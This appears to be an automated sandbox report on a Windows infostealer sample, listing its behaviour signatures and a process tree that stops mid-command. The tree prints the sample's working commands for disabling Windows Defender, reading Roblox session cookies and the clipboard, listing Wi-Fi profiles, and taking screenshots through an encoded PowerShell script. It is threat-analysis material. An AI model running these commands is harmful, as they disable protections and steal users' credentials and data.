Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Analysis

  • max time kernel
    32s
  • max time network
    33s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    12/12/2024, 17:30 UTC

General

  • Target

    newuimatrix.exe

  • Size

    6.8MB

  • MD5

    1f0ef7065d5324a06fb79a1a66f46998

  • SHA1

    1b9199f4f92072cfd017b83080414f7e094fe61e

  • SHA256

    ee2fc679b80508debc11666306c0b11eb38cdb437ae93aa22cc67f8be014b709

  • SHA512

    5c0a160d0c262b88a9cbe9d820f38831715cc4329aa7c47c77792029d14f3e61ef13dbfa5b485824e5067390143906db11600433dcc050f54d81fd7b3b64358e

  • SSDEEP

    196608:1rWEV1pB6ylnlPzf+JiJCsmFMvNn6hVvTA:DBRlnlPSa7mmvN+rA

Malware Config

Signatures

  • Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 3 IoCs
  • Clipboard Data 1 TTPs 2 IoCs

    Adversaries may collect data stored in the clipboard from users copying information within or between applications.

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 17 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Obfuscated Files or Information: Command Obfuscation 1 TTPs

    Adversaries may obfuscate content during command execution to impede detection.

  • Enumerates processes with tasklist 1 TTPs 5 IoCs
  • UPX packed file 61 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Detects videocard installed 1 TTPs 3 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Suspicious behavior: EnumeratesProcesses 20 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\newuimatrix.exe
    "C:\Users\Admin\AppData\Local\Temp\newuimatrix.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2832
    • C:\Users\Admin\AppData\Local\Temp\newuimatrix.exe
      "C:\Users\Admin\AppData\Local\Temp\newuimatrix.exe"
      2⤵
      • Drops file in Drivers directory
      • Loads dropped DLL
      • Suspicious use of WriteProcessMemory
      PID:2444
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\newuimatrix.exe'"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1256
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\newuimatrix.exe'
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:5040
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2 & "%ProgramFiles%\Windows Defender\MpCmdRun.exe" -RemoveDefinitions -All"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2668
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1520
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c "mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Wait for an update!', 0, 'Feather', 32+16);close()""
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:2684
        • C:\Windows\system32\mshta.exe
          mshta "javascript:var sh=new ActiveXObject('WScript.Shell'); sh.Popup('Wait for an update!', 0, 'Feather', 32+16);close()"
          4⤵
            PID:1932
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:2284
          • C:\Windows\system32\tasklist.exe
            tasklist /FO LIST
            4⤵
            • Enumerates processes with tasklist
            • Suspicious use of AdjustPrivilegeToken
            PID:3332
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:844
          • C:\Windows\System32\Wbem\WMIC.exe
            wmic csproduct get uuid
            4⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:3596
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2"
          3⤵
          • Suspicious use of WriteProcessMemory
          PID:4512
          • C:\Windows\system32\reg.exe
            REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\DriverDesc 2
            4⤵
              PID:4792
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4104
            • C:\Windows\system32\reg.exe
              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4D36E968-E325-11CE-BFC1-08002BE10318}\0000\ProviderName 2
              4⤵
                PID:4524
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:4388
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                • Suspicious use of AdjustPrivilegeToken
                PID:4852
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3324
              • C:\Windows\System32\Wbem\WMIC.exe
                wmic path win32_VideoController get name
                4⤵
                • Detects videocard installed
                PID:2552
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‌ .scr'"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3492
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                powershell -Command Add-MpPreference -ExclusionPath 'C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\ ‌ ‌ .scr'
                4⤵
                • Command and Scripting Interpreter: PowerShell
                • Suspicious behavior: EnumeratesProcesses
                PID:4300
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:1688
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:4520
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
              3⤵
              • Suspicious use of WriteProcessMemory
              PID:3988
              • C:\Windows\system32\tasklist.exe
                tasklist /FO LIST
                4⤵
                • Enumerates processes with tasklist
                PID:5016
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
              3⤵
                PID:2904
                • C:\Windows\System32\Wbem\WMIC.exe
                  WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                  4⤵
                    PID:3320
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "powershell Get-Clipboard"
                  3⤵
                  • Clipboard Data
                  PID:3780
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell Get-Clipboard
                    4⤵
                    • Clipboard Data
                    • Suspicious behavior: EnumeratesProcesses
                    PID:232
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                  3⤵
                    PID:4392
                    • C:\Windows\system32\tasklist.exe
                      tasklist /FO LIST
                      4⤵
                      • Enumerates processes with tasklist
                      PID:2580
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                    3⤵
                      PID:908
                      • C:\Windows\system32\tree.com
                        tree /A /F
                        4⤵
                          PID:3892
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "netsh wlan show profile"
                        3⤵
                        • System Network Configuration Discovery: Wi-Fi Discovery
                        PID:1620
                        • C:\Windows\system32\netsh.exe
                          netsh wlan show profile
                          4⤵
                          • Event Triggered Execution: Netsh Helper DLL
                          • System Network Configuration Discovery: Wi-Fi Discovery
                          PID:216
                      • C:\Windows\system32\cmd.exe
                        C:\Windows\system32\cmd.exe /c "systeminfo"
                        3⤵
                          PID:3936
                          • C:\Windows\system32\systeminfo.exe
                            systeminfo
                            4⤵
                            • Gathers system information
                            PID:1664
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath"
                          3⤵
                            PID:4440
                            • C:\Windows\system32\reg.exe
                              REG QUERY HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters /V DataBasePath
                              4⤵
                                PID:4872
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
                              3⤵
                                PID:1648
                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                  powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
                                  4⤵
                                  • Suspicious behavior: EnumeratesProcesses
                                  PID:640
                                  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
                                    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\csfkr1wr\csfkr1wr.cmdline"
                                    5⤵
                                      PID:4348
                                      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
                                        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA0E3.tmp" "c:\Users\Admin\AppData\Local\Temp\csfkr1wr\CSC546009C27B98433886F5348A02AC4B4.TMP"
                                        6⤵
                                          PID:4648
                                  • C:\Windows\system32\cmd.exe
                                    C:\Windows\system32\cmd.exe /c "tree /A /F"
                                    3⤵
                                      PID:264
                                      • C:\Windows\system32\tree.com
                                        tree /A /F
                                        4⤵
                                          PID:4656
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
                                        3⤵
                                          PID:2440
                                          • C:\Windows\system32\attrib.exe
                                            attrib -r C:\Windows\System32\drivers\etc\hosts
                                            4⤵
                                            • Drops file in Drivers directory
                                            • Views/modifies file attributes
                                            PID:4388
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                          3⤵
                                            PID:1160
                                            • C:\Windows\system32\tree.com
                                              tree /A /F
                                              4⤵
                                                PID:1552
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
                                              3⤵
                                                PID:5012
                                                • C:\Windows\system32\attrib.exe
                                                  attrib +r C:\Windows\System32\drivers\etc\hosts
                                                  4⤵
                                                  • Drops file in Drivers directory
                                                  • Views/modifies file attributes
                                                  PID:4940
                                              • C:\Windows\system32\cmd.exe
                                                C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                3⤵
                                                  PID:1816
                                                  • C:\Windows\system32\tree.com
                                                    tree /A /F
                                                    4⤵
                                                      PID:2148
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
                                                    3⤵
                                                      PID:1244
                                                      • C:\Windows\system32\tasklist.exe
                                                        tasklist /FO LIST
                                                        4⤵
                                                        • Enumerates processes with tasklist
                                                        PID:4000
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                      3⤵
                                                        PID:376
                                                        • C:\Windows\system32\tree.com
                                                          tree /A /F
                                                          4⤵
                                                            PID:2196
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "tree /A /F"
                                                          3⤵
                                                            PID:856
                                                            • C:\Windows\system32\tree.com
                                                              tree /A /F
                                                              4⤵
                                                                PID:4152
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                              3⤵
                                                                PID:2368
                                                                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                  powershell Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                  4⤵
                                                                  • Command and Scripting Interpreter: PowerShell
                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                  PID:1496
                                                              • C:\Windows\system32\cmd.exe
                                                                C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY"
                                                                3⤵
                                                                  PID:2064
                                                                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                    powershell Get-ItemPropertyValue -Path HKLM:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
                                                                    4⤵
                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                    PID:1392
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "getmac"
                                                                  3⤵
                                                                    PID:3780
                                                                    • C:\Windows\system32\getmac.exe
                                                                      getmac
                                                                      4⤵
                                                                        PID:3916
                                                                    • C:\Windows\system32\cmd.exe
                                                                      C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI28322\rar.exe a -r -hp"2xKV>]meWVy1%4b^gL!b6j+WXR1_DqpGvCxamYrFA?Bc?aJv%UJa,^dWQ]q>yyXdG5hU.X?5uGPEzBPoE+tR7%fDz]X#.C_Uhyq+" "C:\Users\Admin\AppData\Local\Temp\BRb6L.zip" *"
                                                                      3⤵
                                                                        PID:796
                                                                        • C:\Users\Admin\AppData\Local\Temp\_MEI28322\rar.exe
